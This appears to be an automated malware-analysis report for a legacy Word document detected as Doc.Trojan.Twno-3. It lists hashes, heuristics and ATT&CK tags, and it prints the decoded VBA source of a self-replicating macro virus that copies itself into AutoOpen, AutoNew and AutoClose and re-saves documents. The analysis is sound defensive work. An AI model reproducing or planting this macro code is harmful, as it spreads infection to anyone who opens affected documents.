Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ece6d1a3ac5b3ad3…

MALICIOUS

Office (OLE)

27.5 KB Created: 2002-04-16 19:25:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 29343d70b1b3be2aeb13f9954d52aff3 SHA-1: a1a3d0521a9a74fb3dea669a403c06d023e49321 SHA-256: ece6d1a3ac5b3ad30db295544e3f0370ffc5a9755e2e24a926e1513c39180e97
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros. The AutoOpen macro attempts to copy itself to other auto-executing macro names (AutoNew, AutoClose) and potentially ensures its presence across document events. This behavior is indicative of malware aiming for persistence and execution, although no direct payload download or execution was observed in the provided evidence. The ClamAV detection further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-3
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1182 bytes
SHA-256: 4b4a7e57b3cb68365320e72fd927795420dcefc05b0bb163062959a752de2bac
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
   WordBasic.MacroCopy filem$, "AutoNew"
    WordBasic.MacroCopy filem$, "AutoClose"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "AutoOpen", filem$
End If

    

exit_:
End Sub

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